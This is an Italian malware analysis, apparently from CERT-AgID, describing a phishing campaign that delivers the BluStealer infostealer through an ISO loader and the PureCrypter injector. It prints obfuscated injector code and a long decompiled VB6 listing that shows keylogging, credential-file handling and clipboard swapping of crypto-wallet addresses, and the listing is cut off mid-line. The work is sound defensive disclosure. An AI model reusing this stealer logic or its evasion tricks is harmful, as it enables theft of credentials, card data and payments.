BluStealer arriva in Italia: come è fatto il malware che ruba password, carte di credito, e-mail e criptovalute

06/10/2022

blustealer criptovalute darkcloud infostealer purecrypter

Questa settimana una email con oggetto “Bonifici (SWIFT)” ha raggiunto le caselle di posta di diversi utenti italiani con una comunicazione che apparentemente sembra provenire dall’Istituto di Credito Relax Banking e che mostra nel corpo del messaggio l’anteprima miniaturizzata di due file PDF. Le vittime sono quindi spinte a cliccare su tali anteprime con l’intenzione di leggere i documenti ma in realtà vengono indirizzate ad un link per il download di un file ISO dal quale, una volta aperto, partirà l’infezione.

La catena di infezione porta all’installazione di BluStealer, un malware di tipo infostealer che di recente si sta diffondendo anche in Italia e che, nella variante rilevata ed analizzata dal CERT-AgID, ha lo scopo di esfiltrare:

  • le credenziali da quasi 40 applicazioni (incluse applicazioni VPN, FTP, browser, client di posta);
  • le informazioni delle carte di credito salvate nei browser;
  • i messaggi di posta elettronica scaricati;
  • i contatti della rubrica di alcuni client di posta

Inoltre, al fine di frodare le vittime per fargli effettuare pagamenti indesiderati, il malware sostituisce gli indirizzi dei portafogli di criptovalute, ogni volta che questi sono copiati, con portafogli propri. Questo fa sì che dalle macchine infette i pagamenti arrivino agli autori della campagna malware e non ai destinatari voluti.

Le informazioni carpite vengono inoltrate via email agli autori della campagna.

L’E-mail usata per veicolare BluStealer. Si noti il collegamento all’immagine ISO a cui l’utente è rimandato quando clicca sull’immagine della finta anteprima dei PDF.

Il messaggio di posta risulta inviato da una macchina ospitata su un servizio localizzato negli USA, che nulla ha a che vedere con l’Istituto di Credito e le miniature mostrate all’interno del messaggio, che raffigurano l’anteprima dei due PDF, altro non sono che una immagine con un link che punta al download di un archivio ISO che risulta essere stato creato il giorno stesso: 03/10/2022 alle 12:44.

Metadati del file kzq7t7.iso

All’interno del contenitore ISO è presente un file denominato “Ref407582” con l’icona raffigurante la miniatura di un documento e la data di creazione identica a quella dell’archivio ISO.

Contenuto del file ISO

Come è facile immaginare, il file in questione non è un documento ma un eseguibile EXE scritto in .NET. L’icona utilizzata è solo un’ulteriore esca per convincere la vittima a cliccarci su per aprirlo. A questo punto ha inizio la vera e propria compromissione del sistema.

Stadio 1 – Ref407582.exe

Il file Ref407582.exe effettua il download di un file JPG da un server remoto:

URL remota da cui scaricare il file Ref47582_Dpgosegi.jpg

Anche in questo caso il file JPG scaricato non è una immagine ma un file di testo contenente codice esadecimale.

Contenuto del file Ref47582_Dpgosegi.jpg

Il codice inizia con il noto header utilizzato per i file PE “4D5A”: infatti convertendo il codice da esadecimale a binario otteniamo una DLL anch’essa scritta in .NET.

In definitiva, il compito del loader Ref407582.exe è quello di:

  1. Scaricare il file JPG;
  2. Ottenere la DLL a partire dal codice esadecimale;
  3. Lanciare la DLL.

Scorrendo il codice del loader Ref407582.exe troviamo infatti la funzione finale delegata ad eseguire il metodo Ekspddgnlokwx dell’oggetto Cswytgvgrthoeykgymg.Wdlzfqlzmtekcolssmd contenuto nella DLL appena scaricata (Cswytgvgrthoeykgymg.dll)

Esecuzione della DLL

Stadio 2 – Cswytgvgrthoeykgymg.dll

Analizzando le caratteristiche della DLL, ci ritroviamo di fronte ad una recente conoscenza: PureCrypter injector, già osservato in Italia per veicolare PureMiner e BitRat. PureCrypter è un tool commerciale, in vendita a prezzi accessibili, che vanta numerose funzionalità per offuscare il codice binario finale.

Pacchetto PureCrypter in vendita

Per quanto possa sembra ostico da analizzare, viste le numerose funzioni e relative operazioni che vengono eseguite in memoria per decifrare le informazioni occultate nelle risorse, con un po’ di pazienza è possibile velocizzare l’analisi ed estrarre il payload finale impostando appena due breakpoint nelle giuste funzioni.

La funzione di seguito illustrata mostra il risultato finale di ogni operazione. In realtà, sarebbe sufficiente un solo breakpoint sul risultato ritornato dalla funzione per osservare le stringhe decodificate:

private object \u0002(object[] \u0002, Type[] \u0003, Type[] \u0005, object[] \u0008) { this.\u000E(); if (\u0002 == null) { \u0002 = global::\u0003\u2007<object>.\u0002; } this.\u0006\u2002 = \u0008; this.\u0002 = \u0003; this.\u0008\u2004 = \u0005; this.\u0003\u2003 = this.\u0002(\u0002); this.\u0006\u2001 = this.\u0002(); object result; try { \u0008\u2004 u0008_u = new \u0008\u2004(this.\u0005\u2004); try { using (this.\u0002\u2004 = new \u0008\u2002(u0008_u)) { this.\u000F\u2000 = (uint)u0008_u.\u0005\u2004\u2002\u2008\u2009\u0002(); this.\u000E\u2003 = false; this.\u0002\u2000 = null; this.\u0005\u2000 = 0U; this.\u0003\u2001 = 0U; this.\u0005(); this.\u0005\u2000(); } } finally { ((IDisposable)u0008_u).Dispose(); } Type type = this.\u0002(this.\u0003\u2002.\u0003(), false); if (type != global::\u0002\u2008.\u0002\u2003 && this.\u0002()) { result = global::\u000E\u2001.\u0002(null, type).\u000E\u2001\u2002\u2008\u2009\u0002(this.\u0002()).\u000E\u2001\u2002\u2008\u2009\u0002(); } else { result = null; } } finally { for (int i = 0; i < this.\u0003\u2002.\u0002().Length; i++) { \u0008\u2001 u0008_u3 = this.\u0003\u2002.\u0002()[i]; if (u0008_u3.\u0002()) { \u0006\u2008 u0006_u = (\u0006\u2008)this.\u0003\u2003[i]; Type type2 = this.\u0002(u0008_u3.\u0002(), false); \u0002[i] = global::\u000E\u2001.\u0002(null, type2.GetElementType()).\u000E\u2001\u2002\u2008\u2009\u0002(u0006_u.\u0002()).\u000E\u2001\u2002\u2008\u2009\u0002(); } } this.\u0006\u2002 = null; this.\u0003\u2003 = null; this.\u0006\u2001 = null; } return result; }

Prima di rilasciare il malware definitivo, PureCrypter verifica che il nome della macchina in cui è in esecuzione sia differente da “hal9th” e che il nome utente sia diverso da “johndoe” al fine di rilevare la presenza dell’emulatore antivirus Windows Defender. Poi si garantisce la persistenza copiando se stesso in “\AppData\Roaming\docs\offic.exe“.

In fine, rilascia ed esegue il malware finale che in questo caso si rivela essere BluStealer, conosciuto anche come a310logger, scritto in Visual Basic 6.0.

Stadio 3 – BluStealer VB6

La caratteristica principale di questo malware è quella di essere scritto in Visual Basic 6.0, una tecnologia risalente al 1998. Contrariamente ad alcuni packer (es: GuLoader) che utilizzano eseguibili VB6 come “gusci”, il cui unico scopo è nascondere lo shellcode malevolo, BluStealer è veramente scritto interamente in VB6.

Fare reverse engineering di un eseguibile VB6 è simile al reverse di un eseguibile Delphi, eccetto che il primo fa ampio uso di COM (che, per l’analista, si traduce in chiamate indirette nelle varie vtable e meno aiuto da parte di tecnologie come FLIRT) e che il runtime non è linkato staticamente (è invece in MSVBVM60.dll). Considerando che anche semplici espressioni VB6 sono compilate in una moltitudine di chiamate del runtime, questo rende il reverse piuttosto tedioso.

Esistono dei decompilatori VB6 ma nessuno di essi fa un buon lavoro con il codice compilato nativamente: tuttavia anche con un listato non del tutto corretto o completo è possibile risalire al comportamento del malware.

Decompilando l’eseguibile VB6 e visualizzando le informazioni del progetto originale otteniamo che l’entry-point è sul form Form1.frm (oltre ai nomi originali del progetto e dell’eseguibile).

Type=Exe Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\SYSTEM32\STDOLE2.TLB#OLE Automation Form=Form1.frm Module=Module4; Module4.bas Module=Module7; Module7.bas Startup="Form1" IconForm="Form1" HelpFile="" ExeName32="flattie.exe" Name="Project1" Title="Project1sqlite" VersionCompanyName="freeworld"

Il file decompilato di Form1.frm è riportato di seguito:

VERSION 5.00 Begin VB.Form Form1 WindowState = 1 ScaleMode = 1 AutoRedraw = False FontTransparent = True BorderStyle = 1 'Fixed Single Icon = "Form1.frx":0 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False ControlBox = 0 'False Visible = 0 'False ClientLeft = 15 ClientTop = 15 ClientWidth = 7590 ClientHeight = 6645 ShowInTaskbar = 0 'False Begin Timer Timer3 Left = 4920 Top = 3120 End Begin Timer Timer2 Left = 4080 Top = 3120 End Begin Timer Timer1 Interval = 1 Left = 3240 Top = 3120 End End Attribute VB_Name = "Form1" Private Sub Form_Load() '40F8E0 loc_0040F945: On Error Resume Next End Sub Private Sub Timer1_Timer() '40F980 Dim Me As Me Dim var_8C As Global loc_0040F9E5: On Error Resume Next loc_0040FA0D: GoTo loc_0040FA2A loc_0040FA0F: loc_0040FA16: Me.SaveProp 'Ignore this = Me.SaveProp 'Ignore this + 1 loc_0040FA2A: 'Referenced from: 0040FA0D loc_0040FA38: If ecx <= &HFF Then loc_0040FA49: var_eax = GetAsyncKeyState(Me.SaveProp) loc_0040FA4E: var_88 = GetAsyncKeyState(Me.SaveProp) loc_0040FA64: If var_88 = var_FF8001 Then loc_0040FA6F: If var_43B036 = 0 Then loc_0040FA78: var_eax = Proc_1_17_416140(ebx, fs:[00000000h], ) loc_0040FA7D: End If loc_0040FA7D: End If loc_0040FA84: GoTo loc_0040FA0F loc_0040FA86: End If loc_0040FA96: If global_43B03C = 1000 Then loc_0040FAAB: var_24 = "0C2D0C2F1D303A" loc_0040FAB5: var_eax = Proc_1_39_41E570(var_24, , ) loc_0040FACD: var_2C = "TOBcDtUIYSExkwlEMnLCW" loc_0040FAEC: var_28 = Proc_1_39_41E570(var_24, , ) loc_0040FAFA: var_eax = Proc_1_36_41DE10(var_28, var_2C, ) loc_0040FB12: var_eax = Proc_1_6_414010(var_54, Proc_1_36_41DE10(var_28, var_2C, ), ) loc_0040FB4E: var_24 = "293D1D171B34081C" loc_0040FB58: var_eax = Proc_1_39_41E570(var_24, , ) loc_0040FB70: var_2C = "pdXndzSmowtRriOeyjIatP" loc_0040FB8F: var_28 = Proc_1_39_41E570(var_24, , ) loc_0040FB9D: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_0040FBB5: var_eax = Proc_1_6_414010(var_54, Proc_1_36_41DE10(var_28, var_2C)) loc_0040FBF1: var_24 = "102518223425243C" loc_0040FBFB: var_eax = Proc_1_39_41E570(var_24) loc_0040FC13: var_2C = "rSJvVUFPOSxkGg" loc_0040FC32: var_28 = Proc_1_39_41E570(var_24) loc_0040FC40: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_0040FC58: var_eax = Proc_1_6_414010(var_54, Proc_1_36_41DE10(var_28, var_2C)) loc_0040FC94: var_24 = "0C140C2A13081D0F263531" loc_0040FC9E: var_eax = Proc_1_39_41E570(var_24) loc_0040FCB6: var_2C = "QofiNvfifGYBuVRZjkoMQWvGDYUOKUnAl" loc_0040FCD5: var_28 = Proc_1_39_41E570(var_24) loc_0040FCE3: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_0040FCFB: var_eax = Proc_1_6_414010(var_54, Proc_1_36_41DE10(var_28, var_2C)) loc_0040FD37: var_24 = "240813263B2123" loc_0040FD41: var_eax = Proc_1_39_41E570(var_24) loc_0040FD59: var_2C = "kexcbZUBylFq" loc_0040FD78: var_28 = Proc_1_39_41E570(var_24) loc_0040FD86: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_0040FD8B: var_4C = Proc_1_36_41DE10(var_28, var_2C) loc_0040FDA3: var_7C = "\Microsoft\Windows\Templates\credentials.txt" loc_0040FDE0: Me = Me + 00000038h loc_0040FDE3: ecx = Environ(Proc_1_36_41DE10(var_28, var_2C)) & "\Microsoft\Windows\Templates\credentials.txt" loc_0040FE26: var_7C = global_0043B090 loc_0040FE65: var_8C = (Dir(global_0043B090, 0) = global_00405270) loc_0040FE7E: If var_8C Then loc_0040FE87: var_7C = global_0043B090 loc_0040FE9F: var_eax = Kill &H4008 loc_0040FEA5: End If loc_0040FEAF: Me = Me + 00000038h loc_0040FEED: var_8C = (Dir(Me.GetPalette = global_00405270) loc_0040FF06: If var_8C Then loc_0040FF12: Me = Me + 00000038h loc_0040FF16: var_eax = Proc_1_15_415DE0(Me+00000038h) loc_0040FF20: var_2C = Proc_1_15_415DE0(Me+00000038h) loc_0040FF2E: var_28 = "DC-GR" loc_0040FF56: Me = Me + 00000038h loc_0040FF62: var_eax = Proc_1_68_4364D0(var_2C, var_28, Me+00000038h) loc_0040FF7E: End If loc_0040FF8D: var_24 = "3A0A221A043106073409270F103C432C3F05" loc_0040FF97: var_eax = Proc_1_39_41E570(var_24) loc_0040FFAF: var_2C = "efIPctEiPUeKjdOmVVueEH" loc_0040FFCE: var_28 = Proc_1_39_41E570(var_24) loc_0040FFDC: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_0041000C: var_30 = Proc_1_36_41DE10(var_28, var_2C) loc_00410019: var_4C = global_0043B030 & var_30 loc_0041004E: var_8C = (Dir(global_0043B030 & var_30, 0) = global_00405270) loc_0041008E: If var_8C Then loc_004100A3: var_24 = "3A0A221A043106073409270F103C432C3F05" loc_004100AD: var_eax = Proc_1_39_41E570(var_24) loc_004100C5: var_2C = "efIPctEiPUeKjdOmVVueEH" loc_004100E4: var_28 = Proc_1_39_41E570(var_24) loc_004100F9: var_eax = Proc_1_36_41DE10(var_28, var_2C, global_0043B030) loc_00410123: var_38 = "DC-CW" loc_00410143: var_eax = Proc_1_68_4364D0(00405270h, var_38, & Proc_1_36_41DE10(var_28, var_2C, global_0043B030)) loc_00410173: End If loc_00410182: var_24 = "0E0C200A303042170F1A" loc_0041018C: var_eax = Proc_1_39_41E570(var_24) loc_004101A4: var_2C = "CRJIfUClmfj" loc_004101C3: var_28 = Proc_1_39_41E570(var_24) loc_004101D1: var_eax = Proc_1_36_41DE10(var_28, var_2C) loc_00410201: var_30 = Proc_1_36_41DE10(var_28, var_2C) loc_0041020E: var_4C = global_0043B030 & var_30 loc_00410243: var_8C = (Dir(global_0043B030 & var_30, 0) = global_00405270) loc_00410283: If var_8C Then loc_00410298: var_24 = "0E0C200A303042170F1A" loc_004102A2: var_eax = Proc_1_39_41E570(var_24) loc_004102BA: var_2C = "CRJIfUClmfj" loc_004102D9: var_28 = Proc_1_39_41E570(var_24) loc_004102EE: var_eax = Proc_1_36_41DE10(var_28, var_2C, global_0043B030) loc_00410318: var_38 = "DC-FG" loc_00410338: var_eax = Proc_1_68_4364D0(00405270h, var_38, & Proc_1_36_41DE10(var_28, var_2C, global_0043B030)) loc_00410368: End If loc_0041036F: global_43B03C = 0 loc_00410378: GoTo loc_00410399 loc_0041037A: End If loc_00410388: 0043B03Ch = 0043B03Ch + 0001h loc_00410399: 'Referenced from: 00410378 loc_004103F0: var_44 = Global.Clipboard loc_004103F5: var_90 = var_44 loc_00410484: var_eax = Global.GetText var_84 loc_00410489: var_98 = Global.GetText var_84 loc_004104DE: var_28 = var_24 loc_004104F1: var_eax = Form1.fireballsabadafirebricksfisherboat(var_28) loc_004104F7: var_9C = Form1.fireballsabadafirebricksfisherboat(var_28) loc_00410551: GoTo loc_0041059F loc_0041059E: Exit Sub loc_0041059F: 'Referenced from: 00410551 End Sub Private Sub Timer2_Timer() '4105D0 loc_00410635: On Error Resume Next End Sub Private Sub Timer3_Timer() '410670 loc_004106D5: On Error Resume Next End Sub Public Sub fireballsabadafirebricksfisherboat(lYYYRREMZmSJiXqNTvujHh) '410710 Dim var_174 As Global loc_0041076A: On Error Resume Next loc_0041078A: If (lYYYRREMZmSJiXqNTvujHh = global_00405270) = 0 Then loc_0041078C: GoTo loc_0041380B loc_00410791: End If loc_004107A0: var_68 = "60FFD6B8C210B8282C67A5D5BA1F3610FF42BFC560AFEEF2E5880B434171259EF95A" loc_004107AA: var_eax = Proc_1_39_41E570(var_68, -1, edi) loc_004107B4: var_78 = Proc_1_39_41E570(var_68, -1, edi) loc_004107C2: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_004107E1: var_6C = var_78 loc_004107F5: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_004107FF: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410810: eax = (0 = var_74) + 1 loc_00410813: var_174 = (0 = var_74) + 1 loc_00410842: If var_174 Then loc_00410844: GoTo loc_0041380B loc_00410849: End If loc_00410862: var_eax = Proc_1_39_41E570(var_68, 0, fs:[00000000h]) loc_0041087A: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410899: var_6C = Proc_1_39_41E570(var_68, 0, fs:[00000000h]) loc_004108AD: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_004108B7: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_004108C8: eax = ( = var_74) + 1 loc_004108CB: var_174 = ( = var_74) + 1 loc_004108FA: If var_174 Then loc_004108FC: GoTo loc_0041380B loc_00410901: End If loc_00410910: var_68 = "33DD818F9B13A7687877BA84EB1C035AE05EAAFA0F8EF0DED9AF0518673E09B9E134F0D295FD3D061D9D" loc_0041091A: var_eax = Proc_1_39_41E570(var_68, , ) loc_00410932: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410951: var_6C = Proc_1_39_41E570(var_68, , ) loc_00410965: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_0041096F: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410980: eax = ( = var_74) + 1 loc_00410983: var_174 = ( = var_74) + 1 loc_004109B2: If var_174 Then loc_004109B4: GoTo loc_0041380B loc_004109B9: End If loc_004109C8: var_68 = "60F0C29ADD2FFE587C3EAB97B3583B11F70788E96EC8CED6EEAC3878426D18F8C057" loc_004109D2: var_eax = Proc_1_39_41E570(var_68, , ) loc_004109EA: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410A09: var_6C = Proc_1_39_41E570(var_68, , ) loc_00410A1D: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410A27: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410A38: eax = (@stk@FFFC = var_74) + 1 loc_00410A3B: var_174 = (@stk@FFFC = var_74) + 1 loc_00410A6A: If var_174 Then loc_00410A6C: GoTo loc_0041380B loc_00410A71: End If loc_00410A80: var_68 = "61C6F39CEE01FC597D38E0D7B9175A5FCF75EFC808CEC9D89FF8581F263046FFBF40AC9496BA665448EB" loc_00410A8A: var_eax = Proc_1_39_41E570(var_68) loc_00410AA2: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410AC1: var_6C = Proc_1_39_41E570(var_68) loc_00410AD5: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410ADF: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410AF0: eax = ( = var_74) + 1 loc_00410AF3: var_174 = ( = var_74) + 1 loc_00410B22: If var_174 Then loc_00410B24: GoTo loc_0041380B loc_00410B29: End If loc_00410B38: var_68 = "23F3DA93E0018C602A74B685EE6F281BFE7C9BF80CC6D18FDDAB225F553F159CD255EF" loc_00410B42: var_eax = Proc_1_39_41E570(var_68) loc_00410B5A: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410B79: var_6C = Proc_1_39_41E570(var_68) loc_00410B8D: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410B97: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410BA8: eax = ( = var_74) + 1 loc_00410BAB: var_174 = ( = var_74) + 1 loc_00410BDA: If var_174 Then loc_00410BDC: GoTo loc_0041380B loc_00410BE1: End If loc_00410BFA: var_eax = Proc_1_39_41E570(var_68) loc_00410C12: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410C31: var_6C = Proc_1_39_41E570(var_68) loc_00410C45: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410C4F: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410C60: eax = ( = var_74) + 1 loc_00410C63: var_174 = ( = var_74) + 1 loc_00410C92: If var_174 Then loc_00410C94: GoTo loc_0041380B loc_00410C99: End If loc_00410CB2: var_eax = Proc_1_39_41E570(var_68) loc_00410CCA: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410CE9: var_6C = Proc_1_39_41E570(var_68) loc_00410CFD: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410D07: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410D18: eax = ( = var_74) + 1 loc_00410D1B: var_174 = ( = var_74) + 1 loc_00410D4A: If var_174 Then loc_00410D4C: GoTo loc_0041380B loc_00410D51: End If loc_00410D60: var_68 = "16FDF2BCF920875F183B89B3EB1A5B3FBA05EFB872BBCFFDF799367B544E2089C656D1FFAECD0129299C955367E2DB7F838F6678496A0655" loc_00410D6A: var_eax = Proc_1_39_41E570(var_68) loc_00410D82: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00410DA1: var_6C = Proc_1_39_41E570(var_68) loc_00410DB5: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410DBF: var_74 = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) loc_00410DD0: eax = ( = var_74) + 1 loc_00410DD3: var_174 = ( = var_74) + 1 loc_00410E02: If var_174 Then loc_00410E04: GoTo loc_0041380B loc_00410E09: End If loc_00410E18: var_68 = "061805213C1A0013610B291314352A" loc_00410E22: var_eax = Proc_1_39_41E570(var_68) loc_00410E3A: var_70 = "APZVBNspgOYLtQMZcEsFdr" loc_00410E59: var_6C = Proc_1_39_41E570(var_68) loc_00410E67: var_eax = Proc_1_36_41DE10(var_6C, var_70) loc_00410EB8: Set var_24 = CreateObject(Proc_1_36_41DE10(var_6C, var_70), 0) loc_00410F40: var_24."Global" = True loc_00410F99: var_24."IgnoreCase" = True loc_00410FAE: var_68 = "06375A14014F7960360A2441323F5F18124A33785F467E3121664B0B1E3C282B40032D4134255F0C5255647130107255277C0E4739062A6505016A022A780846504A701516536B546D285B0A39567A15360A6A07377808374F2F0365233B6A366B784B2B19557C645E5E3A450637" loc_00410FB8: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00410FD0: var_70 = "lZUrvbgIHmkG" loc_00410FEF: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00410FFD: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041106F: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041107F: var_118 = lYYYRREMZmSJiXqNTvujHh loc_004110D0: var_90 = var_24.test(var_60, lYYYRREMZmSJiXqNTvujHh) loc_004110E0: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_004110FC: If var_174 Then loc_00411121: If InStr(1, lYYYRREMZmSJiXqNTvujHh, global_004058BC, 0) = 0 Then loc_0041117E: var_80 = Global.Clipboard loc_00411183: var_178 = var_80 loc_004111D7: var_eax = Global.Clear loc_004111DC: var_180 = Global.Clear loc_00411230: var_68 = "60FFD6B8C210B8282C67A5D5BA1F3610FF42BFC560AFEEF2E5880B434171259EF95A" loc_0041123A: var_eax = Proc_1_39_41E570(var_68, var_58, var_11C) loc_00411252: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00411271: var_6C = Proc_1_39_41E570(var_68, var_58, var_11C) loc_0041127F: var_eax = Proc_1_35_41D9E0(var_6C, var_70, var_118) loc_00411289: var_7C = Proc_1_35_41D9E0(var_6C, var_70, var_118) loc_004112DF: var_80 = Global.Clipboard loc_004112E4: var_178 = var_80 loc_00411385: var_74 = var_7C loc_0041139B: var_eax = Global.SetText var_74, var_120 loc_004113A0: var_180 = Global.SetText var_74, var_120 loc_00411408: GoTo loc_0041380B loc_0041140D: End If loc_0041140D: End If loc_0041141C: var_68 = "06375A14014F7960360A2441323F5F18124A33785F467E3121664B0B1E3C282B40032D4134255F0C5255647130107255277C0E4739062A6505016A022A780846504A701516536B546D285B0A39567A15360A6A07377808374F2F0365233B6A366B784B2B19557C645E5E3A450637" loc_00411426: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_0041143E: var_70 = "lZUrvbgIHmkG" loc_0041145D: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_0041146B: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_004114DD: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_004114ED: var_118 = lYYYRREMZmSJiXqNTvujHh loc_0041153E: var_90 = var_24.test(var_60, lYYYRREMZmSJiXqNTvujHh) loc_0041154E: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_0041156A: If var_174 Then loc_0041158F: If InStr(1, lYYYRREMZmSJiXqNTvujHh, global_004058C4, 0) = 0 Then loc_004115EC: var_80 = Global.Clipboard loc_004115F1: var_178 = var_80 loc_00411645: var_eax = Global.Clear loc_0041164A: var_180 = Global.Clear loc_004116A8: var_eax = Proc_1_39_41E570(var_68, var_58, var_114) loc_004116C0: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_004116DF: var_6C = Proc_1_39_41E570(var_68, var_58, var_114) loc_004116ED: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_004116F7: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_0041174D: var_80 = Global.Clipboard loc_00411752: var_178 = var_80 loc_004117F3: var_74 = var_7C loc_00411809: var_eax = Global.SetText var_74, var_120 loc_0041180E: var_180 = Global.SetText var_74, var_120 loc_00411876: GoTo loc_0041380B loc_0041187B: End If loc_0041187B: End If loc_0041188A: var_68 = "06375A14014F7960360A2441323F5F18124A33785F467E3121664B0B1E3C282B40032D4134255F0C5255647130107255277C0E4739062A6505016A022A780846504A701516536B546D285B0A39567A15360A6A07377808374F2F0365233B6A366B784B2B19557C645E5E3A450637" loc_00411894: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_004118AC: var_70 = "lZUrvbgIHmkG" loc_004118CB: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_004118D9: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041194B: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041195B: var_118 = lYYYRREMZmSJiXqNTvujHh loc_004119AC: var_90 = var_24.test(var_60, lYYYRREMZmSJiXqNTvujHh) loc_004119BC: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_004119D8: If var_174 Then loc_004119EA: var_128 = lYYYRREMZmSJiXqNTvujHh loc_00411A2E: var_A0 = LCase("bc") loc_00411A4D: var_158 = lYYYRREMZmSJiXqNTvujHh loc_00411A91: var_E0 = Ucase("bc") loc_00411AC4: call InStr(var_B0, 00000000h, var_A0, var_130, 00000001h, var_58) loc_00411AD9: var_ret_1 = (InStr(var_B0, 00000000h, var_A0, var_130, 00000001h, var_58) = 1) loc_00411AF9: call InStr(var_F0, 00000000h, var_E0, var_160, 00000001h, var_ret_1) loc_00411B0E: var_ret_2 = (InStr(var_F0, 00000000h, var_E0, var_160, 00000001h, var_ret_1) = 1) loc_00411B1C: call Or(var_110, var_ret_2) loc_00411B29: var_174 = CBool(Or(var_110, var_ret_2)) loc_00411B6E: If var_174 Then loc_00411BCB: var_80 = Global.Clipboard loc_00411BD0: var_178 = var_80 loc_00411C24: var_eax = Global.Clear loc_00411C29: var_180 = Global.Clear loc_00411C7D: var_68 = "33DD818F9B13A7687877BA84EB1C035AE05EAAFA0F8EF0DED9AF0518673E09B9E134F0D295FD3D061D9D" loc_00411C87: var_eax = Proc_1_39_41E570(var_68) loc_00411C9F: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00411CBE: var_6C = Proc_1_39_41E570(var_68) loc_00411CCC: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_00411CD6: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_00411D2C: var_80 = Global.Clipboard loc_00411D31: var_178 = var_80 loc_00411DD2: var_74 = var_7C loc_00411DE8: var_eax = Global.SetText var_74, var_120 loc_00411DED: var_180 = Global.SetText var_74, var_120 loc_00411E55: GoTo loc_0041380B loc_00411E5A: End If loc_00411E5A: End If loc_00411E69: var_68 = "18613A645A27322578193F5D2B345E04037C37176818444F58293E4B546B444C1B6F353F7D41180030361D3B1E321400247378466F343E054B3A156803516A4E251D72781C7C1524416C173B06331E3C3D0F0802317D6C7D5D331D246C22206A2D484B7F141A6158074060" loc_00411E73: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00411E8B: var_70 = "fFIaUiziDUrRpQusLIQyGEBubatEyaGwx" loc_00411EAA: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00411EB8: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00411F2A: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00411F3A: var_118 = lYYYRREMZmSJiXqNTvujHh loc_00411F8B: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_00411F9B: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_00411FB7: If var_174 Then loc_00412014: var_80 = Global.Clipboard loc_00412019: var_178 = var_80 loc_0041206D: var_eax = Global.Clear loc_00412072: var_180 = Global.Clear loc_004120C6: var_68 = 